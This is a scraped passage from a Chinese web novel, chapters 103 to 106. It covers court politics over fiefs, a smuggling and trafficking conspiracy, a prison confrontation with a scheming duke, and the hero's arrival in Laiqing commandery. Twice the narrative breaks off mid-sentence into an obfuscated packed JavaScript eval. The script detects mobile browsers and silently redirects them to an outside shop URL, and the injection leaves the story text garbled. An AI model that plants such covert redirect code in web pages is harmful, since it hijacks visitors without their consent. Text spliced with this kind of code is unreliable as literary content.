章引玉同样面色复杂的看着章麓,微不可查的点头道:“不过,我觉得我更幸运一点?毕竟我是身负红事,不好红白相冲……姐姐嘛,可是实打实的伤在身上。” 李鹤霖不赞同的说到:“这算什么福?你若是未受伤,你我六礼已过半,也不会叫你去跪灵四十九天。” 章麓抿唇笑了笑,岔开话题道:“我听七公主说,陛下要分封?” 李鹤霖点头,面色严肃道:“是,我来也是想与你说这件事。” 李鹤霖回到长安后就被泰安帝放在身边,替他监国,批奏章,理朝政。 也正因为如此,不少生了皇子的后妃和前朝官员就坐不住了,生怕身体虚弱的泰安帝一挥手就立了淳王为太子。是以大家都不约而同的在跪灵上极为上心,也撺掇后妃们领着儿子日日去皇帝面前献殷勤。 但现在成年的皇子,只有李鹤霖、李谨焕、李谨明,其他人努力也是比不过这三位的。 李鹤霖对章麓解释道:“父皇这几日在清算卫王府、靖国公府和崔府,里面发现了不少问题,尤其是世家和小吏,还有咱们在德州查到的漕运、户籍等等。户册里的民户和军户是对不上的,不少地方的田地总和是远大于土地面积的。但每年交上来的税又只少不多,父皇认为这比欠款应是被地方贪墨了。若只是贪墨还好,就怕被用来养私兵。” “还有私兵?”章麓诧异? 李鹤霖点点头:“单纯太后和靖国公那里的数量,远远不够。父皇下令彻查了安化、夏绥、泾河、金城等地,把赵晚舟的产业扒了个遍,也只找到了三百纲的兵器,但以东郡开矿的麟册来看,应该远远不止这个数。” “卫王府查了吗?” 李鹤霖:“查了,卫王府抄家,卫王妃被关宁古塔永世不得出,李啸林叛乱被圈禁在佛寺。雨陶郡主因为没有参与此事,被父皇赶去了登州封地,并言明无召不得出。但除了随同靖国公叛乱,意图皇位外,什么都没查出来,他府上那些金银玉器皆有出处,大多都是崔环和张敬德送来的,还有些地方官员卖官售爵的孝敬。” 眼见李鹤霖的面色越来越沉重,章麓在心里默默核算了一遍这样的差值所带来的巨大利益,而结果是令人瞠目结舌的。 “此番突然要让皇子公主们就蕃,难道陛下是想让皇子公主去查?”章麓问。 “不止皇子公主,还有各个郡主,包括西洲侯之女南昌郡主、你还有你姑姑玉溪郡主在内,所有内姓外姓的郡主都要被分派去自己的封地。” “雨陶郡主真能这么干净?我不信!”七公主诧异。 李鹤霖顿了一下,眉头轻蹙道:“至少明面上是这样,至于有没有猫腻,害得查。但她与卫王和卫王妃有嫌隙是众人皆知的事,父皇不欲与她为难,只要她足够听话。再加上她在宫变之时,大义灭亲,一举压下了卫王的后备军,砍断了靖国公最大的后援军。更不用说她很少在卫王府住,大多都在自己的别庄呆着,养了……反正,父皇有意放她一马,也算是给卫王府留下个体面。” “养了什么?” 李鹤霖似乎有些说不出口,犹豫再三才蹦出四个字:“很多面首……” 话音落下,花厅寂静无声。 李鹤霖不愿多说,转而提起了封地和封号的事情:“父皇说,准备为我增加食邑,将泗水郡和泰安郡都划拨给我,将你的封地改为淄安郡,享公主食邑,到时候随我一同前往封地。” “公主食邑?”三个少女异口同声的问道。 李鹤霖点头:“对,虞庆侯着实是封无可封,鲜卑与高丽投降和谈,待章启回来肯定也有封赏。章麓此次是救驾有功,有人提议直接封女官,但如此以来便不可再做王妃,虞庆侯倒是很乐意,但是父皇不同意……所以,母后给了个折中的方法,金银还是要赏,但破例封给公主的食邑,封地就在我的封地之临,这样朝臣们便没有意义,而章麓又有食邑和封地傍身。” 其实不也不能说所有朝臣们都没有异议,就雍贵妃知道这件事之后,就气的砸了宫里所有的瓷器。而程家一派的人也在前朝提出了明确的反对,可惜宗室并不反对,反而支持,而武将一脉多是寒门出身,陛下这样封赏自然等同于开了女子可立军功的先例,如今外敌虎视眈眈,若他们的女儿能立下军功,便也有机会封个县主什么的,自然好过让儿子们日日拼死拼活还捞不到半点好处。 “册封圣旨大约要在明日朝后才会庭宣,过不了几日,你我就要前去封地了。”李鹤霖道:“雨陶郡主也会被迁入登州,幽禁在封地,终身不得出。” “这么快。”章麓叹息一声。 李鹤霖:“不快些不行,西北那边有响动,父皇想要在年前将所有事都了解干净。” 李明月和章引玉知道两人要谈些朝廷,便自觉告辞。 四下无人后,李鹤霖直接将泰安帝的密旨拿了出来:“卫王府抄家并非一无所获,现在的雨陶郡主可能是被冒名顶替的。” 章麓一惊:“你说真的?” “只是猜测,父皇也不确定,父皇着三司审理东郡一案,查出了些不同寻常的地方,虽然柳杰的供词前后对得上,但其中有许多隐秘他并不知道。比如那位白面书生的来历,他说不清楚,且四次审问说出了三种有差别的供词,其中必有猫腻。” 章麓:“那祁中岳的上家,可有查到?跟卫王府有关系吗?” 李鹤霖轻轻握住章麓的手:“李啸音在洛阳有一处别院,父皇派人去暗查过,找到了一份路线图,与我们在德州推演出来的运输路线图基本重合,但这份路线图的开端在登州莱青郡,而末尾则在鄯州。” 章麓:“莱青郡,那里可是济水漕运的源头,百济等国入大晋走的可都是这个港。德州人口买卖的案子,当初查到济水码头就断了,难不成真的入了登州?” 可是,把人卖去登州做什么?难道卖到其他国家吗? * 事情确如李鹤霖所说,因为要给章麓公主食邑的事情,前朝吵了个天翻地覆,但始终无法统一意见。陛下让反对的人提出更好的建议,但是无一例外都是在说女子不能当官、不可礼法云云,实质性的话一句没有。 可这些废话简直就是在往泰安帝的心窝上戳,当年费了多少力气才给洛阳公主封了定国二字,还拜为上将军,绝不允许这个被踹开的门再次关上。 早就得了陛下属意的张锦和王相权第一次联合起来,引经据典对着反对的朝臣一通批判,压的对方哑口无言,最后还是无奈同意了将泰山山脚下的淄安郡,给了一位非皇室成员的事情。 自此,章麓成为了大梁的第一位享公主食邑的异姓郡主。 下朝后,西洲侯进宫见了雍贵妃。 还没进门,就听见里面传来噼里啪啦的瓷片碎裂声,无奈的在心中叹了口气,推门而入,说到:“你砸得再多,也左右不了陛下的心意。” 听见动静的雍贵妃猛的扭过头,猩红的眼眸透着狠厉:“既然左右不了索性全杀了!杀了李鹤霖!杀了章麓!” 西洲侯已经,呵斥道:“你在说什么混账话!” “你就只会骂我!”雍贵妃尖叫道,“你悄悄我现在的样子!若不是陛下怜悯,召神医回朝与我诊治我就真的要废了!可手脚筋是接续上了,但我肩不能提手不能扛,走两步就会疼痛难耐,跟个废人也没什么区别!李鹤霖让慕容九这般对我!我凭什么不能报复回来!” “你冷静点!慕容九会报复你,还不是因为你当年纵容慕容英的结果?况且慕容九的事根本没证据,且陛下已 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雍贵妃翻了个白眼:“这些名门世家也不是吃素的,多少年经营下来的人脉哪可能让陛下轻易得逞,要根除哪有这么容易。” 西洲侯:“单看淳王封地便知道,陛下的目标还是济河漕运,那可是天下粮仓,张氏和崔氏.走.私.了.那么多盐铁米粮去吐谷浑,陛下肯定要严查。可那地方就是个虎狼窝,朝廷派了多少钦差去查,不是自杀就是为保命上书乞求骸骨归乡,若是没有自己的亲兵,任何人去了都是狼入虎口,有去无回,陛下这是明晃晃的要让淳王在政事上立大功。” “钦差都查不出,背靠陛下就好查了?那位可不会坐以待毙,我们坐山观虎斗便是。”雍贵妃道,“以淳王嫉恶如仇的性子,指不定会得罪多少世家,到时候再被坑得体无完肤,于政绩上就会衬托出康王的优秀。就算陛下再宠爱淳王,也要不可能完全不管朝臣们的想法。皆是,鹿死谁手未曾可知。” “愚蠢!慕容英的事早晚会查到我们头上,靖国公揭发祁中岳从前朝皇帝那里得来了爵位,证据已经明晃晃放在陛下的桌案上了。陛下又不傻,便知道祁中岳那条线靖国公只是枚棋子,真正的获益者另有其人。陛下最不能忍耐的就是叛国!咱们得早做打算!”西洲侯叹息一声,“我追随陛下南征北战多年,见惯了人间百态,在绝对武力面前,一切政治都薄脆如纸。” “那你想什么办?” 西洲侯:“如今雨陶郡主孤立无援,正是与她谈条件的好时机。” 雍贵妃像是看傻子一样看向自己的兄长,道:“她一个罪臣之女,就算与谋逆之时无关,她又有什么值得合作的地方?” 西洲侯看向雍贵妃,严肃道:“你当真以为,那些州府都是傻子?平白无故愿意调兵给太后,去支持一个王爷之子?” “你什么意思?” “这些州府可是常年吃着卫王府的红利,而这些红利皆来自于雨陶公主。” 啪的一声,雍贵妃折断了手中的珊瑚枝,她将珊瑚摆件重新放回博物架上,问道:“兄长没诓我?” “自不会框你,不过多余的我也不能与你多说,你只需记得,李啸音远没有她表面上那么简单,以她的能力和实力,足以助焕儿荣登大宝。” 雍贵妃一拍桌子道:“快将焕儿找来!” “不可!”西洲侯阻止道。 “为何?”雍贵妃疑惑。 西洲侯沉声道:“雨陶郡主所做的生意,绝不可让焕儿知道,否则以他的性子,定然不会允许我们与她合作。” 雍贵妃蹙眉,问道:“她做的到底是何生意?” 西洲侯左右撇了撇,雍贵妃得意,支开了一直陪着她的锦兰,与兄长凑近了些说话。 “走.私和人头。” 104. 第 104 章 章麓被破例分封,俨然成了风口浪尖上的人,她不想出去被当猴子围观议论,便在府内躲懒纳凉,听双竹和晴野讲他们在泾源和奉天的经历。 不知道是不是自己的错觉,章麓总觉得双竹和晴野之间的气氛变了。 “姑娘,靖国公想见你。”云逸站在亭子外三步远的位置。 “他要见我?”章麓颇感诧异。 这事儿是诏狱的司长上报至陛下的,陛下只是沉思了片刻,便准了这项请求,并由孟德才来虞庆侯府告知章麓,至于要不要见,全看章麓自己的意思。 章麓思索了片刻,道:“无论是保全自身还是拉人下水,都不该来见我才是。但他偏偏在这个时候见我,倒真不知道他想要做什么。” 她好奇的跟着孟德才来到诏狱,见到了于狱中多日,依旧衣冠整洁的靖国公。 他的身子一直很虚弱,在狱中的这五十几日,更是身形消瘦,宛若枯骨,但一双眼眸却明亮的紧,没有半点浑浊。 他见章麓前来,从草垛上站起身,行至牢门前,道:“郡主是否好奇我请你来的目的?” “有一点,但无所谓。”她坐在孟德才搬来的椅子上,铺平自己雪白的衣裙,面色坦然。 靖国公笑笑,又问道:“那郡主是否好奇我背后之人,当年又是如何搭上祁中岳的?” 章麓眸光一顿,反问道:“你想不想我好奇?” “你既说出这番话,便知你必定好奇。”靖国公悠然道:“我最后一问,你可知为何这条.走.私.线上的州府都愿给方便,睁一只眼闭一只眼?” “因为钱,只要利益足够,没有什么办不到,这世间能不为五斗米折腰的人实在太少太少。” 靖国公哈哈笑了两声道:“对却也不对。” 他仰起头,透过头顶的小窗遥望着外面的蓝天:“战乱实在持续了太久太久了,久到国库拨不出款,久到地方商人的权利凌驾在地方官员之上,久到有钱能使鬼推磨,无钱行船寸步难,久到灾无可赈,易子而食。” 前朝末年皇帝昏聩,日日只想自己骄奢淫逸,却不理百姓旦夕祸福。 以至民不聊生,起义之声四起,无数人画地而治,不再接受朝廷把控,虞庆侯就是其中之一,章麓对此深有体会。 靖国公又道:“郡主可知这条通往吐谷浑的漕运线输丁多少?” 章麓蹙眉没有回应。 靖国公自问自答道:“是四百万,相比平原郡那点死奴,根本就是个庞然大物。” “郡主可知每丁支出银钱多少?是一百文,其中五十文充营窖贮纳司农,余下五十文才归劳力所有。而地方要修栈道,修堤坝,炼钢炼铁武备军库,逢灾还要开仓放粮等等,财政收支失衡,便打了劳力们这五十文的主意,因而才有了这条通天之路。” 章麓轻嗤一声,问道:“难道这就是你们坑害百姓成为死奴的理由?为了百姓所以坑害他们?你不觉得这很好笑吗?” “那是为了牺牲少数人而谋求多数人的存活!郡主可知三门峡之险?若是山门峡不通,北方有多少人要因此承受高额的粮价,甚至因为买不起米粮而饿死?” “砥柱山之六峰者,皆生河之中流,盖夏……” “行了,别整这些文绉绉的东西。”章麓打断他的话:“我知道三门之险,峰顶平阔,孤石数丈,圆如削成。两崖夹水,壁立千仞,盘纡激射,天下罕比。(赵冬曦《三门赋》)可那又怎样?千百年来不都是这样吗?因而洛阳转运司成为了东西南北的漕运核心,水转陆,陆转水,世世代代也没见那边因此饿死。反倒是因为你们的贪婪,让数万百姓失去了自由,失去了活着的权利。” 靖国公脖颈的青筋鼓动了几下:“你们能将幽云十六州治理得井井有条,能开垦黑土地种植粮食,自给自足,是因为有个奉州伯!他确实惊才绝绝,学识广博,既能造水运天象仪,还能改良土地粮种。可天下哪儿来得这么多这样的极慧之人!你们章氏坐拥财宝,名利之获得简直不费吹灰之力,但其他地方的人呢?你们不将至宝贡献出来已然是伪善!又有什么立场指责我!” 靖国公扒着监牢栏杆:“我曾为先帝偷来奉州伯的成果,本想要献给先帝以造福全天下的百姓,可谁能想啊,我那嫡兄眼光狭窄,只看得到自己的一亩三分地,在先帝面前进谗言,将这些东西都掩埋了起来!大相国寺的书斋记载了多少利国利民的良策,最后却都只能在暗无天日的地下腐烂!” “这就是你轻贱人命的理由吗?”章麓挑眉:“恕我无法苟同。”她站起身,弹了弹衣服上不存在的灰尘,道:“我没空在这里跟你闲聊,若是没有其他事,就此永别。” “等一下!”靖国公抓住牢房的栏杆:“因为战乱,百姓疾苦,地方财政入不敷出,想要挽救大多数人的性命,就必须做出取舍。所以,他们为了政绩妥协,对我们的行为坐视不理,甚至顺水推舟。我们每到一站,就会放下一船的货物以富裕百姓。每年从济河发三百纲槽,但真正到达吐谷浑的只有一百纲,余下的两百纲还是在中原人的手中!” “那又如何呢?”章麓回头过,死死的盯着靖国公:“那一百纲的盐铁米粮还是进了吐谷浑的肚子,而他们利用这些养活了一大批军队,吞并了西戎三十六小国,逼得吐蕃退至雪山南侧,令自己成为西戎一霸,自立为西戎王,勾结西突厥不断侵扰安西四镇。怎么?安西四镇的两百万百姓就不是人命了吗?什么叫大多数什么叫少数?不过是你欺骗的借口罢了!你难道没有从中获得利益吗?靖国公府上下的人难道不是拿这些染血的脏钱养活的吗?你们的富贵难道不是建立在百姓的尸骨上的吗?” 靖国公:“那些死奴都是活该!都是罪人!是他们的贪婪让他们成为了肥料!我只不过是让这群腐烂的人为这个社会做出他们该做出的贡献!这样的人不配活着,我们应该将有限的资源投入在那些有用的人身上!” 章麓一步一步靠近牢房,让狱卒将门打开,冲进去一把扼住靖国公的喉咙,将人抵在墙上:“我真的很想杀了你,但我不能,不是因为我心软,不是因为我觉得你做得对,而是因为我知道遵守法度,知道什么该做什么不该做,不像你,为了自己,为了利益,为了那些自圆其说的道理,放下良知、廉耻、仁慈,成为一个贪婪、自私、愚蠢的恶人。” 空气在一点一点的被剥离,靖国公能感觉到他的生命在流逝,那种极为痛苦的窒息感,令他感到恐惧,他疯狂的抓挠章麓的手,不断的踢腾着双脚,却始终无法摆脱禁锢。 一个女人的力气有这么大吗?靖国公恐惧的想着。 不,一定是因为这段时间吃不好睡不好的关系,因为他生着病,所以他才比不过一个女人,一定不是因为别的。对!一定不是因为别的! 章麓看着他擅动的眸光,就知道他又在说服自己,不屑的冷笑一声,将他甩到地上。 “咳咳咳……”靖国公捂着脖子不停的咳嗽着,他的胸口感受到了如灼伤般的疼痛,瘫坐在地上恶狠狠的盯着章麓,盯着这个高高在上,以蔑视的目光俯视着自己的女人。 “良知乃是天理昭明灵觉处,故良知即是天理。(《传习录》)”章麓用手绢擦了擦自己的手,然后将它丢进外墙上挂着火盆里,看着火焰将它焚烧殆尽。 靖国公:“智者不争,仁者不择,善者不平。” 章麓无所谓的转身离开:“不与君子论长短,不与小人争是非。” 靖国公爬起来,抓住监牢栏杆,拼命的往外挤着自己的身体,对着章麓无情的背影叫喊道:“祁中岳不是因为我才打开北宁关的大门的,当年我奉主人的命令去偷奉州伯的成果,但我没有将东西交给他,我背叛他投靠了先帝,因此被踢出局,不得不转而投靠邓州伯!祁中岳和主人才是这条线上的最大利益获得者!你如果想杀了祁中岳,就必须先找到我的主人,但你一辈子都找不到!我的主人终将推翻李氏江山,成为这个天下真正的霸主!” “他会实现我们的宏愿!这世上,只有为社会创造价值的人才配活着!贪婪的、碌碌无为的人只配做养分——” 章麓心烦意乱的走出了监牢,正遇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266792|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风尘仆仆赶来的李鹤霖。 “还好吗?”李鹤霖问。 章麓摇了摇头,走过去抱住了李鹤霖的腰身,将自己的脸埋在了对方坚实的胸膛上。 她的声音很沉闷:“靖国公说了一些话……我觉得我知道德州那些死奴被卖去了哪里,又去做什么。” 李鹤霖轻抚着章麓的脑后。 章麓:“殿下,如果我们去了登州,查不出李啸音半点错处该如何?” 李鹤霖声音低沉:“父皇予我代天子巡狩金令,言明若济水漕运司和税务司确实参与进来,与卫王府沆瀣一气,顺者羁押入京受审,违者杀无赦。” * 在泰安帝处理完宫变的后续事宜,封赏了所有有功之人后,王爷公主就藩的事就被提上了日程。 泰安帝也没有完全让他们呆在封地不回来,而是打着替陛下分忧的旗号,前往封地巡视。泰安帝担忧子女安慰,还特意拨了兵马给他们。 虞庆侯早就知道会有这一出,皇帝是铁了心要将章家绑在淳王的战船上。在出发的前一日,他将章麓叫到书房,入京以来头一次与她促膝长谈。 桌面上铺着一张黄麻纸,上面只这些一个大大的‘忍’字,虞庆侯放下笔,看向自己的女儿,说:“袅袅,还记得在范阳时为父对你说过的话吗?” 章麓思考了一瞬,回答道:“记得,父亲说过,此行前去范阳,便是要以女儿一人保章家两世平安,也护幽云十六州的百姓几十年的安稳。” “没错,如今为父依旧是这一句话。可除此之外,为父还有一件事要让你明白。”虞庆侯沧桑的面庞在灯火的映照下显得昏黄暗沉,极为颓废与疲惫,他道:“章家虽无反叛之心,但毕竟兵权过重。泰安帝如今还要依靠章家坚守北方,自然不敢轻易动了根基。然,你是为父唯一血脉,陛下定然不会允许为父将爵位传给你。章启的身世是为父亲手递给陛下的一把刀,随时都可以桶入章氏一族的命门。” “陛下将你嫁给淳王,只是因为陛下看中淳王,想他做储君。可淳王的性子太过刚直,于政事上不会灵活变通,并不适合做皇帝。陛下如今让皇子皇女就藩,一方面是为了查给地官员,另一方面,也是给了淳王历练的机会。陛下想让你跟着,是想借你之手让淳王看清现实,不要总寄希望于人性本善。” “可若是淳王无法做到在政治上的灵活变通,陛下定然不会一直寄希望于他。到时候,为了给他心中新的储君人选造势,你的夫君……未必会一直是淳王。你能明白为父的意思吗?” 章麓久久没有说话,她不是没想过这种可能,但在见到皇帝对皇后和淳王的宠爱后,这点疑虑被她打消了。可如今被父亲再次翻开来,赤裸裸的摆在面前,一时猝不及防,令她无所适从。 “父亲……的意思,是什么?”章麓看向虞庆侯,平心而论,四皇子断臂,已然不可能登上皇位,剩下的无非就是五皇子李谨焕,和八皇子李谨献最有可能。 然而李谨焕的母族也手握兵权,皇帝未必放心强强联合。而其他皇子尚且年幼,比她小了十岁有余,如此这般,皇帝也会强行让她嫁过去吗? 虞庆侯看着女儿变幻莫测的脸,就知道她想到了最坏的情况:“陛下是个对联姻深信不疑的君主,如果联姻不成,便只有……”虞庆侯做了个抹脖子的动作,“所以,章氏全族必定全力保住淳王。” 章麓差异的抬头:“父亲?” “淳王虽然不通人情世故,却是用兵奇才。如今天下初定,三代皇帝内未必能完全安稳住内忧外患。在绝对的武力压迫下,任何政治都是空谈。即便淳王于政事上确实太过刚直,不知怀柔为何故。但他与军事上却无人可敌,这样的皇帝在此乱世中才能保全一个国家。而且,陛下对皇后心存愧疚,对淳王多有偏爱,这是他的资本。只要他不失去民心,陛下就有替他力挽狂澜的办法。” “你记住,无论淳王想做什么,你尽管让他去做。而你要做的,就是在他迷惘的时候指一条明路,只要民心所向,哪怕困难重重,有违礼法,他淳王都做得!” 105. 第 105 章 一行人轻装简行,马车换骑行走了三日,便抵达河阳最南端的鹿邑港,又换乘船一路向东行了两日,到达兖州大野东的怀云港渡口,再骑马行了七日穿过兖州,将两千墨云骑暂时留在了封地中,与章麓两人换坐常见的青棚马车,拿着陛下的御令,进入了登州地界。 此时刚入六月,白日的气温极高,但为了安全,几人依旧白日赶路,夜晚投宿,晃晃悠悠的走了四日才看到莱青郡的界碑。 登州土地多临海,百姓多以捕鱼为生,唯莱青郡不临海不临山,多为耕地,且因着境内有济河穿过,是东西漕运的起点,使得这里商业同样发达。 章麓掀开车帘,外面是划分整齐的稻田,一望无际的青麦正迎风摇晃,倒是多山的南方难得一见的平原景色。 马车沿着管道一路向东,从清晨走到傍晚,才看见莱青郡的城楼。 城楼两侧站着士兵,一个个凶神恶煞的检查着过往行人,百姓纷纷抱紧自己的包袱,诚惶诚恐。有些游商被拦下,货物被翻得乱七八糟,也只能陪着笑脸,敢怒不敢言。 倒是有几辆挂着‘杨’和‘霍’字旗的马车没被阻拦,有几块碎银从车帘中飞出,落在府兵脚下。那些士兵兴高采烈的捡起来在衣服上蹭了蹭,然后继续凶神恶煞的对着老实排队的老百姓。 李鹤霖放下车帘,待马车行至近前,一根长矛拦在了驾车的双竹面前。 “下车!检查!”拦人的士兵抬手就要将赶车的双竹拽下来,却被对方反手一拧,一脚踹飞了出去。 城门士兵见状,瞬间凶神恶煞的围了上来,刀剑直冲着青棚马车,预备进程的百姓纷纷尖叫避让。 今日负责守城的校尉见状,放下酒盏,施施然的走上前来。 他垂眸瞧了一眼右胸凹陷下去,硬生生被踢断肋骨的士兵,便知道眼前这人是个硬茬。 他呼出一口酒气,抬眼看向依旧坐在车架上的双竹,语气缓和的说道:“前日有官船被劫,这几日戒严,过往人员皆需要盘查,还望配合。” “竟有匪徒如此胆大妄为,在雨陶郡主的封地打劫官船?”李鹤霖的声音从车内传出,轻笑一声道:“那本王可得去瞧瞧。” 本王? 校尉眯了眯眼,还没开口询问,就被一张令牌怼到了脸上。 金黄色的令牌上面写着一个‘圣’字,下面写着四个字:“天子巡狩。” “这……” “见金令如见陛下,为何不跪?”车内的李鹤霖问。 那校尉转了转眼珠,道:“这金令本将从未见过,不知是真是假。公子不如先下车,令本将手下的兵先履行了职责。” “放肆!”一枚生红豆从车帘内飞出,直击校尉额头。后者被击得猛的向后退了一步,他还没反应过来,又一枚生红豆紧随而来,集中了他的手腕,打得他又痛又麻。 车内的章麓拿着一只荷包,慢条斯理的从里面捏出一枚又一枚红豆,这些原本是要拿来做相思骰子的,如今反倒便宜了这校尉。思索间,又有几枚红豆被飞快的打了出去,精准的穿过铠甲大腿与小腿之间的缝隙,击中膝盖。 校尉只感到右膝一麻,直接单膝跪了下去。 一道清冷的女声从马车中传出:“当狗就要有当狗的样子,主人让你吠的时候你再吠,没让你开口就老老实实的趴着。” “你!”校尉站起身就要拔剑,但双竹比他更快,校尉的剑刚拔出一半,双竹手中的刀就已经落在了他的脖颈上。 ‘唰唰唰’马车旁,牵着马的萧雷几人同时出刀,气氛瞬间剑拔弩张。 校尉气急败坏道:“你们知道我是谁吗!若是敢伤我!我定然要你们碎尸万段!” “真是好大的口气。”李鹤霖冷笑道:“李啸音平日就是这样教你们的?她回到登州是戴罪幽禁,不是来布政的。” “放肆!谁准你们直呼郡主名讳!呃!”一枚嵌着珍珠的金簪从车帘内飞出,直接穿透校尉的喉咙,将他的狂言彻底打断。 鲜红的血液从脖颈的空洞簌簌流出,周围的士兵吓得两股战战,往后退了好几步。 章麓掀开车帘,冷漠的看向跪在地上死不瞑目的校尉,道:“你算个什么东西,也敢在本郡主面前叫嚣。” “让让!让让!麻烦让一让!”一个留着山羊胡的官员奋力挤开人群,凑到了士兵身后,扬声道:“淳王殿下!下官登州税务司副使刘叶,奉命前来接您入城!” 这一声打破了僵局,几个胆小的士兵顺势将他让了进来,自己则退到更远的地方。 反正出了事也有这个‘上官’顶着,怎么也怪不到他们这些小兵头上。 刘叶提着衣服下摆,快步上前,停在距离马车三步远的地方,拱手行礼恭敬道:“淳王殿下,下官刘叶,前日接到圣旨,命臣在此迎候殿下驾临,请殿下随臣移步官署暂歇。” 青棚马车的车门终于被打开,一位身着玄色绣着金麒麟衣袍的男人从车上走了下来,几个小兵一看,霎时瞪大了双眼。这人与上头前日分发下来的画像中的男子,长得一模一样!没想到竟然是位王爷! 上头为什么让他们严密注意他的行踪?几个脑子灵活的士兵,已然察觉到了不寻常的意味。 “大业四十七年的□□刘叶刘大人,久仰大名。”李鹤霖向他施礼。 “哎,王爷客气,客气。”刘叶侧过身,避过此礼:“王爷,咱们脚步得快些了,否则夜深之前,怕是赶不到济河南的税务司。” “那本王命人给刘大人一匹马。” “不不不。”刘叶摆手道:“下官的马就在城门口的拴马桩那儿,王爷先行一步,下官马上就到。” 守城的士兵们眼睁睁的瞧着马车在刘叶的带领下进了城,一个个面面相觑,不知道该如何。 最后还是校尉的副使做主,将校尉的尸首先抬到了路旁,又点了个人,快马加鞭的去杨府禀报。 刘叶那边领着李鹤霖和章麓一行人直奔税务司,马车停下时已然明月高悬。 他面带歉意的说到:“王爷见谅,如今莱青郡已是豫商的一言堂,连雨陶郡主都没法插手进来。王爷替天子巡狩的圣旨虽然传了过来,但这群府兵早就被那群商人收买,只听杨家一人的,他们没给王爷准备院子,下官又没什么钱,只能委屈王爷和郡主暂时住在后衙了。” 豫商的嚣张超出了李鹤霖的预想,他本以为商人作为末流,再怎么称霸一方也不至于让一位郡主成为卧着龙,即便她是戴罪之身。 “山中无老虎,猴子称霸王。卫王妃的老家便在青州济南,她姐姐嫁给到给杨氏家主,自然会给杨氏撑场子,不奇怪。”章麓解释道。 李鹤霖了然,没再说什么,他们初入登州,人生地不熟,还需从长计议。 不过,他行军打仗几年,什么艰苦的环境都遇到过,有的住就不错,只是觉得有些委屈章麓。 然而章麓并不觉得,她面带笑容的说了几句好听话,劝慰刘叶不必放在心上。然后提着裙摆跨进了院子,自然而然的点了主屋,对李鹤霖道:“正屋东西两间房各有一张床,委屈殿下与我同睡一屋,另外两间厢房,一间给晴野晴放,另一件就麻烦四位大男人挤一挤了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266793|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李鹤霖一听她要与自己睡在一个屋子,下意识就想说‘男女授受不亲’。可转而一想,若他与章麓各占一间,那晴野晴放就要与章麓挤在一起,似乎有些委屈了章麓,便闭口没有说话。 见他沉默,章麓便当他是同意了,指挥着晴野晴放收拾东西。 李鹤霖抿了抿唇,有些别扭的让人去收拾床铺,然后与刘叶说了几句话,便让他先回去休息了。 待子时的更鼓敲响,一行人才终于躺在了各自的床铺上。 李鹤霖躺在床上,虽然正屋由两扇格栅分段成了三间房,但与章麓睡在一个屋子里,还是会莫名的紧张。 他的脑海里忍不住回荡起临行前,王临之打趣他的话:“我不怕未来小姑子对你如何,我呀,只怕你管不住你自己。” 李鹤霖懊恼的将被子盖住自己通红的脑袋。 一夜翻来覆去,直到启明星升起,李鹤霖才堪堪睡去。 各州的税务司是大梁朝建立之后才成立的新衙门,主管各种漕运的税收,不过半年时间,结构还不完善,正使多由州府刺史兼任,副使则是从各地调派。税务司的建立是为了在田地丈量新策推行之后,改良地方税务而建,如今暂时除了商税外,还没有从各州县接管过其他税务。 因而有的州税务司没有正使,副使只有七品,与县令同级,使得税务司形同虚设,税务依旧由各州县自行把持。 莱青郡便是如此。 刘叶一大早便来到了府衙,领着李鹤霖和章麓边参观边介绍:“税务司要收取的税收包括过税、住税、船税、粮税。不过,以往一直都是县衙负责粮税,他们对当地的住户非常熟悉,远比咱们这种新成立的衙门要成熟,所以至今粮税依旧是由各县收缴完成后,直接上报税务司,由税务司向朝廷移交。” 这点倒是与平原郡一样,不过平原郡情形不同,付瑜把持政务,税务司有跟没有一样,甚至连小吏都没有,只占着个职位吃着空饷,屋顶破漏,桌椅蒙灰,像是荒废的林中小屋。 这里的税务司倒是有些人,只是收缴税务之责依旧不在他们身上。 刘叶继续道:“过税则是府兵在收,他们原是雨陶郡主的人,但因着卫王府获罪抄家,雨陶郡主手中的兵权便被收缴。如今府兵暂归莱青节度使苏用苏大人掌管,他与杨氏是姻亲,又因前任河南道节度使柳杰提拔才能有今日的位置,所以格外偏颇杨氏,这群府兵也都听杨氏差遣,让莱青郡成了杨氏的一言堂。哎,这群人各个鼻孔朝天,我们这些文臣哪里斗得过,也就随他们去了。” “那船税和住税呢?”李鹤霖问。 刘叶叹气道:“郡主身边有个得用的属官,因陛下未剥夺郡主食邑,所以住税仍在郡主的手中握着,我们税务司只收船税。” “船税也是一个大项。”李鹤霖道。 刘叶苦笑:“说是这么说,可是这里是‘杨’‘霍’两家的天下,这船税哪儿收的上来呢。” 说这话的功夫,几人便来到了税务司衙门正厅的门前,刘叶一推门,一张把想说和八张太师椅便映入眼帘。 左右两列太师椅的后面是十张放置着账本卷宗的柜子,再往后便是办公的场所,紧紧只有两张红木书桌,和几把破旧的条凳。 有四个身着八品官袍的人围坐在两张红木书桌旁,正拨拉着算盘算账。 刘叶轻咳一声,道:“淳王殿下来了,快来见礼。” 话音一落,埋头认真盘账的四人慌乱的起身,其中一人还不小心腿撞到了桌角,想龇牙咧嘴又怕驾前失仪,一瘸一拐忍得很是痛苦。 106. 第 106 章 